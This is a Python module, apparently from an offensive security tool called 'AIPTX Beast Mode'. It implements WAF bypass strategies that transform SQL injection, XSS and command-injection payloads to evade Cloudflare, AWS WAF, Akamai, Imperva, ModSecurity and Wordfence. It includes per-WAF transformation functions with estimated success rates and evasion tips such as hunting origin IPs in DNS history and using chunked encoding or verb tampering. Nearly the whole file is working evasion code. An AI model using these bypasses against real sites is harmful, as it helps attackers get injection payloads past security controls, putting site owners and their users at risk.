"""
AIPTX Beast Mode - WAF Bypass Strategies
========================================

Specific bypass techniques for each WAF type.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass, field
from typing import Any, Callable

logger = logging.getLogger(__name__)


@dataclass
class BypassTechnique:
    """A single bypass technique."""
    name: str
    description: str
    payload_type: str  # sqli, xss, cmdi, lfi, ssrf
    transform: Callable[[str], str]
    success_rate: float = 0.5  # Estimated success rate


@dataclass
class BypassStrategy:
    """Collection of bypass techniques for a WAF."""
    waf_id: str
    waf_name: str
    techniques: list[BypassTechnique]
    general_tips: list[str] = field(default_factory=list)

    def get_techniques_for_type(self, payload_type: str) -> list[BypassTechnique]:
        """Get techniques for a specific payload type."""
        return [t for t in self.techniques if t.payload_type in (payload_type, "all")]

    def apply_all(self, payload: str, payload_type: str) -> list[tuple[str, str]]:
        """Apply all applicable techniques and return (payload, technique_name) pairs."""
        results = []
        for technique in self.get_techniques_for_type(payload_type):
            try:
                transformed = technique.transform(payload)
                if transformed != payload:
                    results.append((transformed, technique.name))
            except Exception as e:
                logger.debug(f"Technique {technique.name} failed: {e}")
        return results


# =============================================================================
# TRANSFORMATION FUNCTIONS
# =============================================================================

def _cloudflare_sqli_comment(payload: str) -> str:
    """Insert inline comments between SQL keywords."""
    keywords = ["OR", "AND", "UNION", "SELECT", "FROM", "WHERE"]
    result = payload
    for kw in keywords:
        result = result.replace(kw, f"{kw[:1]}/**/{kw[1:]}")
        result = result.replace(kw.lower(), f"{kw[:1].lower()}/**/{kw[1:].lower()}")
    return result


def _cloudflare_space_bypass(payload: str) -> str:
    """Replace spaces with SQL comments."""
    return payload.replace(" ", "/**/")


def _cloudflare_unicode(payload: str) -> str:
    """Use Unicode characters."""
    replacements = {"'": "ʼ", '"': "ʺ", "<": "＜", ">": "＞"}
    result = payload
    for orig, repl in replacements.items():
        result = result.replace(orig, repl)
    return result


def _aws_version_comment(payload: str) -> str:
    """Use MySQL version comments."""
    keywords = {"UNION": "/*!50000UNION*/", "SELECT": "/*!50000SELECT*/"}
    result = payload
    for kw, repl in keywords.items():
        result = result.replace(kw, repl)
        result = result.replace(kw.lower(), repl.lower())
    return result


def _aws_hex_strings(payload: str) -> str:
    """Convert strings to hex."""
    # Simple implementation - convert quoted strings
    import re
    def to_hex(match):
        s = match.group(1)
        hex_str = s.encode().hex()
        return f"0x{hex_str}"
    return re.sub(r"'([^']+)'", to_hex, payload)


def _akamai_case_mix(payload: str) -> str:
    """Mixed case keywords."""
    keywords = ["SELECT", "UNION", "AND", "OR", "FROM", "WHERE", "INSERT", "UPDATE", "DELETE"]
    result = payload
    for kw in keywords:
        mixed = "".join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(kw))
        result = result.replace(kw, mixed)
        result = result.replace(kw.lower(), mixed)
    return result


def _akamai_operator_replace(payload: str) -> str:
    """Replace operators."""
    return payload.replace(" OR ", " || ").replace(" AND ", " && ").replace(" or ", " || ").replace(" and ", " && ")


def _imperva_gbk(payload: str) -> str:
    """GBK encoding for quote bypass."""
    return payload.replace("'", "%bf%27")


def _imperva_hex_keywords(payload: str) -> str:
    """Hex encode keywords."""
    keywords = {"UNION": "%55NION", "SELECT": "%53ELECT"}
    result = payload
    for kw, repl in keywords.items():
        result = result.replace(kw, repl)
        result = result.replace(kw.lower(), repl.lower())
    return result


def _modsecurity_tab(payload: str) -> str:
    """Use tabs instead of spaces."""
    return payload.replace(" ", "\t")


def _modsecurity_xor(payload: str) -> str:
    """Use XOR instead of OR."""
    return payload.replace(" OR ", " XOR ").replace(" or ", " xor ")


def _modsecurity_comment_split(payload: str) -> str:
    """Split keywords with comments."""
    keywords = ["UNION", "SELECT", "AND", "OR"]
    result = payload
    for kw in keywords:
        mid = len(kw) // 2
        split = f"{kw[:mid]}/**/{kw[mid:]}"
        result = result.replace(kw, split)
        result = result.replace(kw.lower(), split.lower())
    return result


def _xss_event_handler_case(payload: str) -> str:
    """Mixed case event handlers."""
    handlers = ["onerror", "onload", "onclick", "onmouseover", "onfocus"]
    result = payload
    for h in handlers:
        mixed = "".join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(h))
        result = result.replace(h, mixed)
    return result


def _xss_svg_replace(payload: str) -> str:
    """Replace script tags with SVG."""
    return payload.replace("<script>", "<svg onload=").replace("</script>", ">")


def _xss_backtick(payload: str) -> str:
    """Use backticks instead of parentheses."""
    return payload.replace("alert(", "alert`").replace(")", "`")


def _cmdi_ifs(payload: str) -> str:
    """Use IFS variable for spaces."""
    return payload.replace(" ", "${IFS}")


def _cmdi_newline(payload: str) -> str:
    """Use newline instead of semicolon."""
    return payload.replace(";", "%0a").replace("|", "%0a")


def _cmdi_quote_split(payload: str) -> str:
    """Split command with quotes."""
    # Split common commands
    commands = ["cat", "ls", "id", "whoami", "pwd"]
    result = payload
    for cmd in commands:
        split_cmd = "".join(f"'{c}'" for c in cmd)
        result = result.replace(cmd, split_cmd)
    return result


# =============================================================================
# BYPASS STRATEGIES PER WAF
# =============================================================================

BYPASS_STRATEGIES: dict[str, BypassStrategy] = {
    "cloudflare": BypassStrategy(
        waf_id="cloudflare",
        waf_name="Cloudflare",
        techniques=[
            BypassTechnique(
                name="sql_comment_injection",
                description="Insert inline comments between SQL keywords",
                payload_type="sqli",
                transform=_cloudflare_sqli_comment,
                success_rate=0.6,
            ),
            BypassTechnique(
                name="space_to_comment",
                description="Replace spaces with SQL comments",
                payload_type="sqli",
                transform=_cloudflare_space_bypass,
                success_rate=0.5,
            ),
            BypassTechnique(
                name="unicode_substitution",
                description="Use Unicode lookalike characters",
                payload_type="all",
                transform=_cloudflare_unicode,
                success_rate=0.4,
            ),
            BypassTechnique(
                name="xss_event_case",
                description="Mixed case event handlers",
                payload_type="xss",
                transform=_xss_event_handler_case,
                success_rate=0.5,
            ),
        ],
        general_tips=[
            "Try accessing via IPv6",
            "Look for origin IP in DNS history",
            "Use double URL encoding",
        ],
    ),

    "aws_waf": BypassStrategy(
        waf_id="aws_waf",
        waf_name="AWS WAF",
        techniques=[
            BypassTechnique(
                name="mysql_version_comment",
                description="Use MySQL version-specific comments",
                payload_type="sqli",
                transform=_aws_version_comment,
                success_rate=0.6,
            ),
            BypassTechnique(
                name="hex_strings",
                description="Convert string literals to hex",
                payload_type="sqli",
                transform=_aws_hex_strings,
                success_rate=0.5,
            ),
        ],
        general_tips=[
            "Check for rule set gaps",
            "Try HTTP parameter pollution",
        ],
    ),

    "akamai": BypassStrategy(
        waf_id="akamai",
        waf_name="Akamai",
        techniques=[
            BypassTechnique(
                name="mixed_case",
                description="Use mixed case for SQL keywords",
                payload_type="sqli",
                transform=_akamai_case_mix,
                success_rate=0.5,
            ),
            BypassTechnique(
                name="operator_replace",
                description="Replace OR/AND with ||/&&",
                payload_type="sqli",
                transform=_akamai_operator_replace,
                success_rate=0.5,
            ),
        ],
        general_tips=[
            "Akamai has aggressive rate limiting",
            "Try chunked transfer encoding",
        ],
    ),

    "imperva": BypassStrategy(
        waf_id="imperva",
        waf_name="Imperva",
        techniques=[
            BypassTechnique(
                name="gbk_encoding",
                description="Use GBK encoding for quote bypass",
                payload_type="sqli",
                transform=_imperva_gbk,
                success_rate=0.6,
            ),
            BypassTechnique(
                name="hex_keywords",
                description="Hex encode SQL keywords",
                payload_type="sqli",
                transform=_imperva_hex_keywords,
                success_rate=0.5,
            ),
        ],
        general_tips=[
            "Check for JavaScript challenge bypass",
            "Try verb tampering",
        ],
    ),

    "modsecurity": BypassStrategy(
        waf_id="modsecurity",
        waf_name="ModSecurity",
        techniques=[
            BypassTechnique(
                name="tab_space",
                description="Use tabs instead of spaces",
                payload_type="sqli",
                transform=_modsecurity_tab,
                success_rate=0.5,
            ),
            BypassTechnique(
                name="xor_operator",
                description="Use XOR instead of OR",
                payload_type="sqli",
                transform=_modsecurity_xor,
                success_rate=0.5,
            ),
            BypassTechnique(
                name="comment_split",
                description="Split keywords with comments",
                payload_type="sqli",
                transform=_modsecurity_comment_split,
                success_rate=0.6,
            ),
        ],
        general_tips=[
            "Check paranoia level (PL1 is weakest)",
            "OWASP CRS has known bypass techniques",
        ],
    ),

    "wordfence": BypassStrategy(
        waf_id="wordfence",
        waf_name="Wordfence",
        techniques=[
            BypassTechnique(
                name="svg_xss",
                description="Use SVG instead of script tags",
                payload_type="xss",
                transform=_xss_svg_replace,
                success_rate=0.5,
            ),
            BypassTechnique(
                name="backtick_xss",
                description="Use backticks instead of parentheses",
                payload_type="xss",
                transform=_xss_backtick,
                success_rate=0.4,
            ),
        ],
        general_tips=[
            "Wordfence relies heavily on regex",
            "Longer payloads may bypass",
            "Check for outdated plugin version",
        ],
    ),

    "generic": BypassStrategy(
        waf_id="generic",
        waf_name="Generic/Unknown",
        techniques=[
            BypassTechnique(
                name="ifs_space",
                description="Use IFS variable for command spaces",
                payload_type="cmdi",
                transform=_cmdi_ifs,
                success_rate=0.4,
            ),
            BypassTechnique(
                name="newline_separator",
                description="Use newlines instead of semicolons",
                payload_type="cmdi",
                transform=_cmdi_newline,
                success_rate=0.4,
            ),
            BypassTechnique(
                name="quote_split_cmd",
                description="Split commands with quotes",
                payload_type="cmdi",
                transform=_cmdi_quote_split,
                success_rate=0.3,
            ),
        ],
        general_tips=[
            "Try multiple encoding layers",
            "Test different HTTP methods",
            "Check for parameter pollution",
        ],
    ),
}


def get_bypass_strategy(waf_id: str) -> BypassStrategy | None:
    """Get bypass strategy for a WAF."""
    return BYPASS_STRATEGIES.get(waf_id.lower())


def get_all_strategies() -> dict[str, BypassStrategy]:
    """Get all bypass strategies."""
    return BYPASS_STRATEGIES.copy()


def apply_bypasses(
    payload: str,
    payload_type: str,
    waf_id: str,
) -> list[tuple[str, str]]:
    """
    Apply all bypass techniques for a WAF to a payload.

    Args:
        payload: Original payload
        payload_type: Type (sqli, xss, cmdi, lfi)
        waf_id: WAF identifier

    Returns:
        List of (transformed_payload, technique_name) tuples
    """
    strategy = get_bypass_strategy(waf_id)
    if not strategy:
        strategy = BYPASS_STRATEGIES.get("generic")

    if strategy:
        return strategy.apply_all(payload, payload_type)
    return []


__all__ = [
    "BypassTechnique",
    "BypassStrategy",
    "BYPASS_STRATEGIES",
    "get_bypass_strategy",
    "get_all_strategies",
    "apply_bypasses",
]
